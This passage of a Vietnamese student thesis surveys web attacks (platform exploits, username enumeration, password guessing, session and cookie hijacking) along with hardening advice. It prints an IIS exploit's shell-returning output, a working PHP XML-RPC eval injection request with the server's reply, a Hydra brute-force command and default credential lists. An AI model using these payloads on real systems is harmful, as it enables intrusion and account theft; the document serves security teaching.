Tải bản đầy đủ (.doc) (68 trang)

Nghiên cứu một số phương pháp tấn công web (ĐATN cực hay)

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (3.22 MB, 68 trang )

Nghiên cứu một số phương pháp tấn công Web
NGHIÊN CỨU MỘT SỐ PHƯƠNG
PHÁP TẤN CÔNG WEB
SINH VIÊN THỰC HIỆN:
Nghiên cứu một số phương pháp tấn công Web
Mục Lục
LỜI DẪN
Hacking những ứng dụng Web cũng giống như một thủ thuật kì diệu. Nếu bạn
biết những kĩ thuật đúng và thực hành bạn có thể đột nhập vào bất kì ngân hàng
trực tuyến nào hoặc các công ty tín dụng, các công ty chứng khóan. Với những
phương pháp tấn công đơn giản bạn có thể xác định được hệ điều hành, ngôn
ngữ lập trình, phiên bản máy chủ và thậm chí bạn có thể xác định được lỗ hổng
bảo mật của trang Web đó chỉ cần dựa vào URL. Hầu hết những công ty đều rất
lo ngại về việc cơ sở dữ liệu của mình có thể bị mất cắp và cũng từ chính những
điều này mà công việc làm ăn kinh doanh của họ có thể sụp đổ bất cứ lúc nào.
Tuy nhiên việc bảo mật các ứng dụng Web thường rất kém và các chuyên gia
Nghiên cứu một số phương pháp tấn công Web
cũng nhận định rằng chính bản thân họ cũng sợ những lỗ hổng bảo mật trên
Web vì hiện tại khả năng của các attacker đang rất mạnh, và lòng tham của họ
cũng lớn. Hàng ngày họ phải tìm kiếm để ăn cắp những thẻ tín dụng ngân hàng,
số an sinh xã hội, tài khỏan ngân hàng hoặc bất cứ điều gì mà họ có thể lấy cắp
được….Với những attacker ác ý chúng có thể sẵn sàng đe dọa và tống tiền các
doanh nghiệp. Với những hoạt động xâm nhập như vậy sự thiệt hại sẽ là rất lớn
ví dụ như: Tiền phạt, lòng tin khách hàng, thời gian chết, thiệt hại thương hiệu,
trách nhiệm pháp lý….Cho nên vấn đề tìm hiểu những phương pháp tấn công
Web đồng thời phòng chống các phương pháp đó là điều rất cần thiết cho mỗi
doanh nghiệp. Tài liệu dưới đây chúng em xin đề cập những phương pháp từ tấn
công đến phức tạp, những phương pháp được thực hiện bằng tay cũng như sử
dụng các tool tự động đồng thời đưa ra các cách phòng chống các phương pháp
này.
Nghiên cứu một số phương pháp tấn công Web 2010


CHƯƠNG I: ĐỘNG LỰC TẤN CÔNG WEB
Chủ nghĩa khủng bố toàn cầu đang ngày một phổ biến và nguy hiểm. Chúng sử dụng
mọi phương tiện có thể để gieo rắc nỗi sợ hãi. Đặc biệt trong thế giới hiện đại, tin học
đã trở thành một chiến trường và phương tiện đắc lực của chúng.
Bọn khủng bố sử dụng tin học để tấn công gây rối loạn các mạng lưới điều hành nhà
nước, đánh cắp thông tin quan trọng, tuyển dụng và tuyên truyền tư tưởng kích động.
Việc đánh cắp những thông tin này có thể mang lại cho các attacker đó một lượng tiền
khá lớn. Nhưng đôi khi có những mục đích tấn công không phải vì tiền mà chỉ vì sự
thù ghét nhau hoặc chỉ là một sự tò mò của những người mới học nghề.
Kể từ cuối năm ngoái, tin tặc xem chừng như ngày càng ráo riết phá họai và tấn công
những trang web thu hút rất đông người tham gia ở trong lẫn ngoài nước. Các trang
mạng nổi tiếng và ăn khách hoặc những trang web của các công ty tín dụng, ngân
hàng là những mục tiêu bị tin tặc đặc biệt nhắm tới bằng những phương cách tấn
công mà nhiều chuyên gia cáo giác là những thủ đọan “bỉ ổi”, “đê tiện” “ném đá
nhưng không dấu được tay”. Nói chung hình thức tấn công của tin tặc bao gồm việc
đánh sập websites, trộm cắp, ngụy tạo tài liệu, chiếm đoạt hộp thư điện tử, mạo danh,
tung tin giả, bôi nhọ, ly gián. Mặt khác những thành viên sáng lập website chống đỡ
rất nhiều cuộc tấn công không đủ sức để bảo vệ website hoạt động bình thường. Mặt
khác tại các trang Web vấn đề bảo mật rất kém, chúng thường không có các công cụ
như IDS/IPS, IDA (thiết bị lọc nội dung), Firewall….để bảo vệ cho nên việc tấn công
các trang Web thường có tỉ lệ phần trăm rất cao. Cho nên các attacker từ những
chuyên gia cho đến những newbie có thể tấn công Web mà không cần trình độ cao, họ
chỉ cần một vài công cụ là đã có thể thực hiện thành công một cuộc tấn công Web. Vì
vậy việc tấn công Web ngày nay được giới attacker ưa chuộng hơn bất cứ một cuộc
tấn công nào khác.
Nghiên cứu một số phương pháp tấn công Web
CHƯƠNG II: TẤN CÔNG WEB PLATFORM
2.1 Tấn công Web platform
Thành phần quan trọng nhất của ứng dụng web mà hacker sẽ tìm kiếm đầu tiên là các
lỗi thuộc về web platform. Web platform bao gồm các thành phần thuộc về hệ điều

hành và các ứng dụng logic như
- Chương trình Web server như IIS hay Apache.
- Thành phần mở rộng của web serber như ISAPI hay các mod của Apache.
- Môi trường thực thi như ASP.NET, PHP và J2EE
- Các dịch vụ người dùng như forum, portal
Đã từ lâu, lỗi thuộc về chương trình web server là một trong những lỗi dễ dàng nhất để
khai thác trên một website, nhưng càng về sau, các nhà phát triển chương trình web
server càng chú trọng hơn tới vấn đề bảo mật bởi vì sản phẩm của họ đã bị tấn công
khá nhiều trong quá khứ. IIS của Microsoft là một ví dụ cho trường hợp này. Mặc dù
nhiều lỗi đã được tìm thấy và sửa chữa bởi Microsoft nhưng hàng ngày hacker trên
toàn thế giới vẫn tìm ra các lỗi mới của ứng dụng này.
Chương này sẽ đề cập đến một số hình thức khai lỗi như :
- Khai thác Point-and-click
- Khai thác thủ công
2.1.1 Khai thác Point-and-click
Point-And-Click là cách khai thác sử dụng các công cụ và các kịch bản có sẵn để tấn
công vào lỗ hổng. Metasploit Framework là một chương trình mã nguồn mở phục vụ
cho việc phát triển, kiểm tra và thực hiện các đoạn code khai thác lỗ hổng. Mặc dù đã
được cảnh báo rằng "chỉ sử dụng cho mục đích kiểm tra và nghiên cứu", nhưng
Metasploit lại trở thành công cụ yêu thích của hacker vì tính đơn giản của nó.
5
Nghiên cứu một số phương pháp tấn công Web
Metasploit hoạt động trên nhiều hệ điều hành Linux/Unix/Windown, nó cung cấp cách
khai thác lỗ hổng dễ dàng cho nhiều loại lỗ hổng trong đó có cả web platform. Có một
ứng dụng thương mại khác là CORE IMPACT được phát triển bởi Core Security
Technologies hoặc CANVAS của Immunity.
Như vậy người tấn công không cần có kiến thức sâu về lỗ hổng sắp khai thác mà vẫn
có thể tấn công một cách hiện quả. Tất cả các kịch bản tấn công, code đều có thể tìm
kiếm dễ dàng trên mạng internet.
Để hiểu được cách thức thực hiện Point-and-click, hãy thử thực hiện một cuộc tấn

công dựa trên lỗi "SSL PCT remote buffer overflow" hay còn được biết tới với tên gọi
Microsoft Security Bulletin MS04-011.
Ban đầu, hacker cần tìm đoạn code thực hiện việc tấn công vào lỗ hổng mà mình định
trước. Ví dự sử dụng trang web milw0rm.com.
Sau khi download được đoạn code cần thiết, ví dụ hacker đặt tên nó với tên gọi
iisexploit.c. Hacker sẽ thực hiện biên dịch đoạn code này bằng các trình biên dịch phù
hợp với ngôn ngữ của đoạn code.
Sau khi biên dịch , hacker có một file với tên gọi iisexploit.exe, và kích hoạt file exe
này lên sẽ nhận được như sau :
C:\>iisexploit www.site.com myserver 8082
THCIISSLame v0.3 - IIS 5.0 SSL remote root exploit tested on Windows 2000 Server
german/english SP4
by Johnny Cyberpunk ()
[*] building buffer
[*] connecting the target
[*] exploit send
[*] waiting for shell
[*] Exploit successful ! Have fun !
Sau khi khai thác thành công, đoạn chương trình nhỏ trên sẽ trả về một shell cho
hacker trên cổng 8082. Và đối với các hacker am hiểu về shell thì họ hoàn toàn có thể
tạo shell cho riêng mình với nhiều chức năng khác nhau và chèn thêm vào đoạn code
6
Nghiên cứu một số phương pháp tấn công Web
của file kịch bản đã download. Thật không may rằng hiện nay các shell này cũng được
công bố và dễ dàng tìm kiếm trên mạng.
Hãy thử một cách khác dễ dàng hơn với Metasploit :
Sau khi khởi động Metasploit, ta có thể nhìn thấy danh sách của tất cả các lỗ hổng mà
nó hỗ trợ như sau :
Hình 2.1
Chọn mục Microsoft SSL PCT overflow exploit . Metasploit sẽ hiển thị một màn hình

với đầy đủ các mục phục vụ cho việc khai thác. Trong hình dưới, ta sẽ chọn loại hệ
điều hành mà ta chuẩn bị tấn công.
7
Nghiên cứu một số phương pháp tấn công Web
Hình 2.2
8
Nghiên cứu một số phương pháp tấn công Web
Sau khi chọn mục tiêu, Metasploit sẽ hiển thị màn hình tiếp theo để ta chọn payload sẽ
gửi tới server. Đối với tấn công này, ta sẽ sử dụng một remote shell đơn giản. Sau đó
chỉ cần click vào nút Exploit, ta sẽ nhận được kết quả :
Hình 1.2
2.1.2 Khai thác thủ công
Việc khai thác thủ công đòi hỏi người khai thác phải có kiến thức về lỗ hổng mà mình
khai thác cũng như các giao thức, cấu hình xung quanh lỗ hổng đó. Hacker sử dụng
các kiến thức của mình về hệ thống và lỗ hổng để từng bước nhận được các thông tin
từ hệ thống thống qua lỗ hổng cũng như phục vụ cho các tần công khác sâu hơn.
Một số ví dụ về tấn công thủ công :
PEAR/PHP XML-RPC Code Execution
PEAR/PHP XML-RPC được tìm ra vào năm 2005, cho phép thực hiện đoạn code thực
thi từ xa trên server. Những ứng dụng như PostNude, Drupal hay TikiWiki đều vướng
lỗi này vào thời gian đó.
Lỗ hổng này được khai tác bẳng cách tận dụng một hàm trong bộ XML - eval() cho
phép nhúng input của người dùng từ request XML Điều này cho phép hacker tạo ra
một XML request đơn giản và nhùn một chuổi có khả năng vượt qua các tham số
truyền của hàm eval(). Tấn công này cũng tương tự như SQL injection hay XSS.
9
Nghiên cứu một số phương pháp tấn công Web
Trong ví dụ dưới đây sử dụng ứng dụng PhpAdsNew. PhpAdsNew sửa dụng file
adxmlrpc.php để chấp nhận các request của web service. Trong trường hợp này
adxmlrpc.php đóng vai trò như một gateway để khai thác XML-RPC. Tấn công được

thực hiện bằng việc tạo một request tới server với header và phần data như sau :
POST /phpAdsNew/adxmlrpc.php HTTP/1.0
Host: localhost
Content-Type: application/xml
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Content-Length: 162
Connection: Close
<?xml version="1.0"?><methodCall><methodName>junkname</
methodName><params><param><name>');passthru(dir);//</name><value>junk</
value></param></params></methodCall>
Phần in đậm chính là phần câu lệnh sẽ chèn vào biến name để hiển thị danh sách thư
mục trên hệ thống. Server sẽ trả về với nội dung như sau :
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
X-Powered-By: PHP/4.4.0
Server: Srv/4.0.0.4033
Volume in drive C has no label.
Volume Serial Number is 98C0-5EE5
Directory of C:\Apache\docs\phpAdsNew
11/11/2005 12:11 PM <DIR> .
11/11/2005 12:11 PM <DIR>
01/13/2005 04:43 PM 6,166 adclick.php
10
Nghiên cứu một số phương pháp tấn công Web
03/14/2005 10:27 AM 3,280 adcontent.php
03/14/2005 10:12 AM 5,077 adframe.php
01/13/2005 04:43 PM 3,251 adimage.php

03/08/2005 12:14 AM 4,435 adjs.php
01/13/2005 04:43 PM 6,250 adlayer.php
01/13/2005 04:43 PM 4,122 adlog.php
11/11/2005 12:11 PM <DIR> admin
01/13/2005 04:43 PM 8,618 adpopup.php
01/13/2005 04:43 PM 9,877 adview.php
10/09/2003 07:39 PM 73 adx.js
01/13/2005 04:43 PM 5,867 adxmlrpc.php
11/11/2005 12:11 PM <DIR> cache
11/11/2005 12:11 PM <DIR> client
11/10/2005 03:57 PM 6,706 config.inc.php
01/13/2005 04:43 PM 1,144 index.php
11/11/2005 12:11 PM <DIR> language
11/11/2005 12:11 PM <DIR> libraries
10/29/2002 10:01 PM 15,515 LICENSE
11/11/2005 12:11 PM <DIR> maintenance
11/11/2005 12:11 PM <DIR> misc
01/13/2005 04:43 PM 2,254 phpadsnew.inc.php
03/15/2005 11:20 AM 5,273 README
16 File(s) 87,908 bytes
9 Dir(s) 10,690,588,672 bytes free
<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
11
Nghiên cứu một số phương pháp tấn công Web
<member>
<name>faultCode</name>

<value><int>1</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Unknown method</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Đoạn code bị lỗi nằm trong file lib-xmlrpcs.inc.php bên trong hàm parseRequest() :
// now add parameters in
$plist=""; for($i=0; $i<sizeof($_xh[$parser]['params']); $i++)
{
$plist.="$i - " . $_xh[$parser]['params'][$i]. " \n";
eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");
}
Phần in đậm chính là tham số của biến name. Bằng cách thêm dấu ' như cách khai thác
SQL, hacker có thể thực hiện các code Php theo ý mình, ví du:
Eval('$m->addParam('');phpinfo();//");");
2.2 Phòng tránh
2.2.1 Cập nhật các bản vá bảo mật
Cách tốt nhất để kiểm soát bảo mật cho web platform là giữ cho hệ thống luôn được
cập nhật các bản vá mới nhất. Các nhà phát triển ứng dụng luôn luôn thu thập những
lỗi của ứng dụng để nâng cấp, do đó, ngay khi họ thông báo về một bản cập nhật bảo
12
Nghiên cứu một số phương pháp tấn công Web
mật, hãy cập nhật ngay cho hệ thống trước khi một hacker tấn công vào chính lỗ hổng
mà hệ thống chưa được vá. Tốt nhất hãy sử dụng chương trình nâng cấp tự động như
Microsoft Update Service, đối với Apache, hãy đăng ký vào bản tin Apache

announcements list để biết được các bản vá cập nhật mới nhất.
Mặt khác hãy thực hiện định kỳ công việc pen-test hệ thống, sử dụng các chương trình
quét lỗ hổng để tự kiểm tra độ bảo mật của web server cũng như các ứng dụng đang
chạy trên web server.
Cấu hình đúng và chuẩn web server là điều quan trọng tránh những lỗ hổng vô tình
được tạo ra.
Đối với IIS :
Tắt "IIS' Detailed Error Messages" sẽ giúp ngăn chặn hacker footprinting từ hệ thống
các thông tin cần thiết phục vụ cho tấn công
Cài đặt các thư mục web ở các ổ đĩa khác với ổ root của hệ điều hành. Với IIS,Internet
Services Manager (iis.msc) điều khiển vị trí của web root, hãy chắc rằng Local Path
không có "%systemroot%"
Tháo bỏ những mở rộng không cần thiết. Các mở rộng luôn ẩn chứa những lỗ hổng mà
nhà phát triển không lường trước được, hãy chắc rằng chỉ sử dụng những mở rộng thật
sự cần thiết. Bạn không phải xóa các file .dll để tránh trường hợp đụng chạm đến hệ
thống, chỉ cần tháo nó ra khỏi startup của server, khi đó các lỗi từ các mở rộng sẽ
không bị khai thác nữa.
Sử dụng IISLockdown và URLScan. Trong khi IISLockdown và URLScan giúp bạn
tự động đặt cấu hình cần thiết để đảm bảo bảo mật cho platform ở một khía cạnh nào
đó , IISLockdown và URLScan hoạt động như một firewall phía trước server. Cả 2
ứng dụng có thể sử dụng riêng biệt mà cấu hình chi tiết bằng tay
Ngăn việc group Everyone và Guest thực hiện Write và Execute: Các truy cập nặc
danh trên IIS thuộc các nhóm này và bạn cần chắc chắn rằng họ không được quyền
can thiệp vào thư mục hay file nào trên hệ thống cũng như những người không có
quyền thực thi các lệnh execute trên các thư mục.
13
Nghiên cứu một số phương pháp tấn công Web
2.2.2 Đối với Apache:
Loại bỏ các module không cần thiết: Một trong những điều quan trọng khi cài đặt
Apache là các chức năng yêu cầu phải có trên web server, ví dụ PHP script hoặc Perl

cần gì để có thể chạy được. Sau khi bạn tạo ra một danh sách các chức năng cần thiết,
hãy loại bỏ các module không cần thiết đi.
ModeSecurity là một module được viết bởi Ivan Ristic có thể làm việc như một
firewall tầng ứng dụng tại web server. Nó là ứng dụng linh hoạt và tốt nhất hiện tại
phục vụ cho việc giúp Apache chống lại các tấn công web platform.
Một quy luật cơ bản của bảo mật trong việc chống lại tấn công là khi một hacker xâm
nhập vào web server, điều đầu tiên hacker làm sẽ là truy cập vào những file hệ thống
như /etc/passwd hoặc nâng quyền bằng một lỗi local. Chống lại việc đó bằng việc
chrooting, nói một cách đơn giản là đặt Apache chạy với một ít quyền của hệ thông
mà thôi, do đó khi hacker xâm nhập vào hệ thống vẫn không thể tác động tới các file
hệ thống thật được.
Một cấu hình quan trọng cần được chú ý đối với Apache là không cho phép người
dùng truy cập đến bất kỳ tài nguyên gì bên ngoài document root. Việc này thực hiện
khá đơn giản bằng cách thêm vào file httpd.conf nội dung sau :<Directory/> order
deny,allow deny from all </Directory> <Directory /www/htdocs> order allow,deny
allow from all </Directory>
Sử dụng các mặc định tùy chọn như : open_basedir, disable_function, expose_php,
display_errors, safe_mode, allow_url_open.
14
Nghiên cứu một số phương pháp tấn công Web
CHƯƠNG III: TẤN CÔNG
AUTHENTICATION
Xác thực đóng một vai trò quan trọng trong vấn đề bảo mật Web. Dưới đây chúng tôi
sẽ giới thiệu về các mối đe dọa thông qua cơ chế xác thực để tấn công web
3.1 Username/password:
Đây là cách xác thực web đơn giản nhất và thường được sử dụng ngày nay. Mặc dù có
rất nhiều cách để thực hiện việc xác thực username/password nhưng trong khi triển
khai web thường bị mắc một số kiểu tấn công như sau:
- Username eumeration
- Dò tìm password.

- Nghe lén.
3.1.1 Username enumeration
- Cách tấn công: Username enumeration được sử dụng chính để cung cấp cho việc dò
tìm password. Việc sử dụng này nhằm tránh lãng phí thời gian trong việc bị fail khi sử
dụng một password cho một user không tồn tại. Ví dụ như: Nếu bạn có thể xác định
được không có một user nào tên là Alice thì bạn sẽ không bị lãng phí thời gian để dò
tìm password của user Alice. Dưới đây là một số chức năng thường được sử dụng
trong các ứng dụng khác giúp bạn có thể xác định được tên của người dùng:
+ Profiling Result: Trong một website có một số nơi mà ở đó chúng ta có thể
xác định được thông tin xung quanh của người dùng ví dụ như: Lời chú giải của
source code. Những kẻ tấn công thông minh luôn luôn xem xét data của profiling vì nó
thường là một nguồn thông tin dồi dào.
15
Nghiên cứu một số phương pháp tấn công Web
+ Lỗi khi login: Một kĩ thuật đơn giản nhằm để xác định nếu có một user tồn tại
thử login vào hệ thống và nhìn thấy tin nhắn thông báo lỗi. Ví dụ: Thử login vào ứng
dụng web sử dụng username “Alice” và password “abc123”. Bạn có thể sẽ nhận được
3 thông báo lỗi trừ khi bạn đăng nhập thành công vào hệ thống với password đã dò
được:
o Bạn đã nhập một username sai
o Bạn đã nhập một password sai
o Bạn đã nhập username/password sai
Nếu bạn nhận được dòng thông báo (1) điều này có nghĩa là username đó không tồn
tại trong ứng dụng, bạn không nên tốn thời gian để dò password cho user Alice. Nếu
bạn nhận được dòng thông báo (2) có nghĩa là bạn đã xác định được một user hợp lệ
trong hệ thống và bạn có thể thử để dò tìm password. Và nếu bạn nhận được thông báo
(3) thì nếu Alice là một user hợp lệ thì việc xác định password cho user này quả thật là
một việc khá khó khăn.
+ Đăng kí: Có nhiều ứng dụng web cho phép người dùng lựa chọn username
của chính họ để thực hiện quá trình đăng kí. Trong suốt quá trình đăng kí nếu bạn lựa

chọn một username đã tồn tại, bạn sẽ nhận được một thông báo là “ hãy chọn
username khác” , khi đó họ sẽ chọn lại một username khác, username đó có thể là tên
của họ, tên con cái, tên trong danh bạ…từ đây bạn có thể sinh ra một danh sách
username thường được sử dụng.
+ Thông báo lỗi trong quá trình thay đổi password: Có nhiều trang web cho
phép người sử dụng có thể thay đổi password hiện tại của mình. Thường thì có một
trang riêng để thực hiện chức năng này. Thỉnh thoảng username thường được nhập vào
nhưng đôi khi chúng lại được lưu trong một tag ẩn cái mà sử dụng bởi phương pháp
Post. Một Proxy thường được sử dụng để thực hiện kiểu tấn công này, tuy nhiên bằng
việc đánh giá các thông báo lỗi bạn cũng có thể xác định được các username này.
+ Khóa Account: Để giảm thiểu nguy cơ của kiểu tấn công dò tìm password
người ta đưa ra các ứng dụng để khóa account sau một số lần login bị lỗi. Số lần login
lỗi sẽ được quy định tùy thuộc vào chính sách bảo mật của ứng dụng, thông thường sẽ
16
Nghiên cứu một số phương pháp tấn công Web
là 3, 5 hoặc 10 lần và sau khoảng 30p, 1h hay 24h thì account sẽ được mở trở lại. Điều
này làm chậm lại các cuộc tấn công dò tìm password và giúp cho người quản trị có thể
đưa ra một chính sách mật khẩu tốt đồng thời nó cũng được xem là sự cân bằng về an
tòan và khả năng sử dụng . Tuy nhiên khóa tài khỏan chỉ có ý nghĩa đối với những
user hợp lệ còn các user không tồn tại thì sao? Điều này là một vấn đề nan giải với các
ứng dụng web hiện nay. Vì hầu hết tất cả các ứng dụng đều không thể áp dụng điều
này cho các account không hợp lệ. Và cách tốt nhất để thực hiện điều này đó là không
đưa ra thông báo “user bị khóa” cho các account bị khóa tài khoản, đây là cách tốt
nhất để ngăn chặn việc thực hiện lập bảng danh sách các user thông qua các account bị
khóa. Tuy nhiên khi áp dụng điều này vào các chính sách an ninh sẽ dễ dẫn đến việc
tức giận của người sử dụng. Đôi khi việc khóa account được thực hiện ở phía máy
client.
+ Tấn công về thời gian: nếu tất cả các phương pháp tấn công trên vẫn thất bại,
tấn công về thời gian có lẽ đó là phương pháp cuối cùng của bạn. Nếu bạn không thể
liệt kê tên người dùng từ việc đăng kí, thông báo lỗi, thay đổi mật khẩu thì bạn hãy thử

cố gắng tính tóan thời gian hệ thống gửi thông báo lỗi khi hệ thống nhận được một bad
user hoặc một bad pass. Và tùy thuộc vào thuật tóan cũng như công nghệ sử dụng mà
thời gian trả lời là khác nhau.
3.1.2 Dò tìm password
- Phương thức tấn công: Không đáng ngạc nhiên khi nhận xét việc dò tìm password là
nguyên nhân chính dẫn đến sự sụp đổ của cấu trúc username/password. Thật không
may hiện nay cấu trúc này lại rất phổ biến trên các web và kĩ thuật tấn công kiểu dò
tìm password là kiểu tấn công cơ bản nhất. Tấn công dò tìm password thường được
thực hiện mà không cần quan tâm đến nơi mà giao thức xác thực đó áp dụng. Việc dò
tìm password có thể thực hiện được bằng tay và bằng các phần mềm.
+ Dò tìm password bằng tay: Tấn công dò tìm password có thể được thực hiện
bằng tay hoặc thông qua các tool tự động. Tấn công dò tìm password được thực hiện
bằng tay là một kiểu tấn công rất nhạt nhẽo nhưng qua kiểu tấn công này ta lại thấy
17
Nghiên cứu một số phương pháp tấn công Web
được vai trò của con người hơn là kiểu tấn công tự động, đặc biệt là khi lỗi phần tùy
chỉnh của trang được sử dụng để trả lời các form login cơ bản. Khi tiến hành dò tìm
password thường người ta sẽ dựa vào bảng sau:
Username Guesses Password Guesses
[NULL] [NULL]
root, administrator, admin [NULL], root, administrator, admin, password,
[company_name]
operator, webmaster, backup [NULL], operator, webmaster, backup
guest, demo, test, trial [NULL], guest, demo, test, trial
member, private [NULL], member, private
[company_name] [NULL], [company_name], password
[known_username] [NULL], [known_username]
+ Dò password tự động: Có hai phương pháp cơ bản để thực hiện dò password tự động
đó là: chiều sâu và chiều rộng đầu tiên. Thuật tóan của phép chiều sâu đầu tiên đó là
thử tất cả các password được kết hợp bởi một username sau đó mới thử đến username

tiếp theo. Thuật tóan của phép chiều rộng đầu tiên là thử tất cả các username khác
nhau với cùng một password. Sau đây là một số công cụ dò password được sử dụng
ngày nay:
Tip: Nếu có một chính sách về mật khẩu và nó được thực thi thì việc giảm kí tự trắng
sẽ có hiệu quả hơn. Ví dụ như nếu bạn biết các chính sách mật khẩu chỉ cho phép các
kí tự số, các chữ, yêu cầu có sự kết hợp cả các kí tự hoa, kí tự thường thì bạn sẽ không
phải tốn thời gian để tra từ điển và kết hợp các số vào trong password. Một trong
những giao thức xác thực được sử dụng rộng rãi nhất trên internet hiện nay là HTTP
basic. Nếu chúng ta gặp phải một trang được bảo vệ bởi phương pháp xác thực cơ bản
trong phần tư vấn, chúng ta thường chuyển sang Hydra để kiểm tra lại chứng nhận độ
mạnh của account. Hydra là một công cụ đơn giản được sử dụng để đưa ra một danh
sách username và password (hoặc kết hợp cả hai) và sử dụng bảng danh sách này để
thực hiện phương thức tấn công xác thực cơ bản. Nó trả lời "HTTP 302 Oject Moved"
để chỉ ra các cuộc dò tìm thành công và nó sẽ tìm kiếm tất cả các cuộc dò tìm thành
công trong file username và password. Ở phía dưới là ví dụ chỉ ra việc Hydra được sử
18
Nghiên cứu một số phương pháp tấn công Web
dụng trên Window (qua thư viện Cygwin) để dò tìm thành công một mật khẩu HTTP
Basic.Chúng tôi sẽ sử dụng Hydra's - Option để chỉ ra một file username/password
làm đầu vào, và chúng tôi đang tấn công thư mục /secure (cái mà được chỉ ra trong
phần http-get)
D:\Toolbox>hydra -C list.txt victim.com http-get /secure
Hydra v5.0 (c) 2005 by van Hauser / THC - use allowed only for legal
purposes.
Hydra () starting at 2005-11-08 21:21:56
[DATA] 6 tasks, 1 servers, 6 login tries, ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for victim.com (waiting for childs to finish
)
[80][www] host: 192.168.224.40 login: user password: guessme

Hydra () finished at 2005-11-08 21:22:01
Hydra hỗ trợ http-head, http-get, https-head và http-proxy cho viện tấn công ứng dụng
web.
WebCracker là một công cụ cũ hơn Hydra, ứng dụng Window Base GUI giống như
Hydra nhưng nó không cần nhiều kinh nghiệm như Hydra. Nó là một công cụ rất tuyệt
vời dành cho những người mới bắt đầu hoặc khi bạn muốn kiểm tra nhanh. Ở hình
phía dưới chỉ ra việc Web Cracker đã dò tìm thành công một số account ở URL đích.
19
Nghiên cứu một số phương pháp tấn công Web
Hình 3.1: WebCracker đã dò tìm thành công username/password.
Brutus là một công cụ dò tìm password nó được xây dựng để phục vụ cho việc tấn
công xác thực HTTP Basic và Form-base giữa các giao thức như SMTP hoặc POP3.
Brutus có thể thực hiện cả việc tấn công từ điển và brute-force attack nơi mà các
password có thể được sinh ra ngẫu nhiên từ tập hợp các kí tự. Dưới đây là giao diện
chính của Brutus sau khi tiến hành tấn công dò tìm password xác thực cơ bản
Hình 3.2: Brutus đã dò tìm được 4908 password trong vòng 19s
Brutus cũng có thể tiến hành việc tấn công xác thực Form-Basic nhưng nó lại không
hiển thị password đã dò tìm được khi tiến hành tấn công.
Cách phòng tránh tấn công bằng username/password:
20
Nghiên cứu một số phương pháp tấn công Web
Cách phòng tránh hiệu quả nhất tránh việc dò tìm mật khẩu đó là sự kết hợp giữa
chính sách mật khẩu mạnh và chính sách khóa account mạnh. Sau khi một số lượng
nhỏ truy cập không thành công, các ứng dụng nên khóa các tài khỏan để hạn chế kiểu
tấn công này. Tuy nhiên hãy cẩn thận với các cuộc tấn công DOS đối với một ứng
dụng có chính sách khóa tài khoản trên mức cần thiết. Một kẻ tấn công có thể khóa tất
cả các tài khỏan trên hệ thống. Một lựa chọn tốt nhất mà các nhà phát triển ứng dụng
thường sử dụng đó là chỉ khóa các tài khỏan trong khoảng một thời gian ngắn, thông
thường thời gian đó là 10p. Điều này có hiệu quả trong việc làm chậm tốc độ dò tìm
mật khẩu. Với việc sử dụng một chính sách mật khẩu mạnh, khả năng dò tìm ra các

mật khẩu là rất ít, không gian của mật khẩu phải trên 8 kí tự. Một lợi ích nữa của việc
sử dụng chính sách mật khẩu mạnh đó là có thể giảm thiểu được sự tấn công brute-
foce.
3.1.3 Nghe trộm và tấn công Phát lại.
Bất cứ một giao thức xác thực nào cũng có khi bị lộ những thông tin quan trọng trong
khi truyền qua mạng, lúc đó ta có thể nói hệ thống này bị tấn công nghe trộm, hay còn
gọi là kiểu tấn công sniffing.
Một cuộc tấn công phát lại thường được xây dựng trên những cuộc tấn công nghe trộm
và bao gồm cả việc sử dụng những thông tin được bắt bởi kẻ tấn công giả mạo những
người dùng hợp lệ. Thật không may là một số giao thức xác thực phổ biến nhất đã làm
lộ thông tin của web. Hai phương pháp tấn công phổ biến nhất là Basic và Digest.
Cách phòng tránh: Sử dụng mã hóa SSL 128 bit có thể ngăn chặn các cuộc tấn công
này, phương pháp này được khuyến cáo sử dụng cho tất cả các website sử dụng xác
thực Basic và Digest.
3.2 Bỏ qua việc xác thực:
3.2.1 Token Replay:
Nó thường chỉ ra các phương pháp bảo mật token cho một vài người dùng đã xác thực
thành công để họ không phải nhập lại thông tin khi sử dụng một ứng dụng khác. Một
21
Nghiên cứu một số phương pháp tấn công Web
tác dụng phụ của phương pháp xác thực này là xác thực có thể bị bỏ qua khi bị “cướp”
mất token hay còn gọi là bị cướp phiên. Các ứng dụng web thường sử dụng hai loại
thẻ bảo mật đó là: cookie và session ID. Và hacker thường sử dụng điểm yếu của hai
thẻ này để tấn công web
- Tấn công Session ID: Hai kĩ thuật tấn công cơ bản để lấy được session ID đó là
dự đoán và sử dụng brute force. Hiện nay có rất nhiều trang web bị sụp đổ bởi
phương pháp tấn công dự đoán trước các session ID. Tất cả các máy chủ ứng
dụng chính đều sử dụng các session ID không thể bị đóan trước và các ứng
dụng được xây dựng trên những khung không chắc chắn để tránh khỏi những
cuộc tấn công này.

+ Brufoce session ID là phương pháp tấn công là thử hàng ngàn các request để
yêu cầu session ID nhằm dò tìm một session ID chính xác nhất. Số lượng các
request thực hiện cần phụ thuộc vào không gian key của session ID. Như vậy
xác suất thành công của kiểu tấn công này có thể tính tóan dựa trên kích cỡ và
không gian key của Session ID.
+ Hacking cookies: Cookie thường chứa những dữ liệu nhạy cảm liên quan đến
việc xác thực. Nếu cookie có chứa password hoặc các seesion ID thì việc đánh
cắp được cookie là một cuộc tấn công rất thành công đối với một rang web. Có
một số kĩ thuật phổ biến được sử dụng để đánh cắp cookies, với một số kịch bản
thông dụng là script injection và nghe trộm. Kĩ thuật đảo ngược cookie offline
cũng có thể chứng minh đây là một kiểu tấn công rất có lợi. Cách tiếp cận tốt
nhấp đó là thu thập một mẫu cookie sau đó thay đổi các giá trị khác nhau của
input để xem cookie đó thay đổi như thế nào. Điều này có thể đuowcj làm bằng
cách sử dụng các account khác nhau để login tại các thời điểmkhác nhau. Ý
tưởng này được sử dụng để xem những thay đổi của cookie dựa trên username,
thời gian, các đặc quyền truy nhập…Tấn công Bit-flipping là cuộc tấn công
thông qua kiểu tấn công brute force, nó thay đổi các bit cookie miễn là cookie
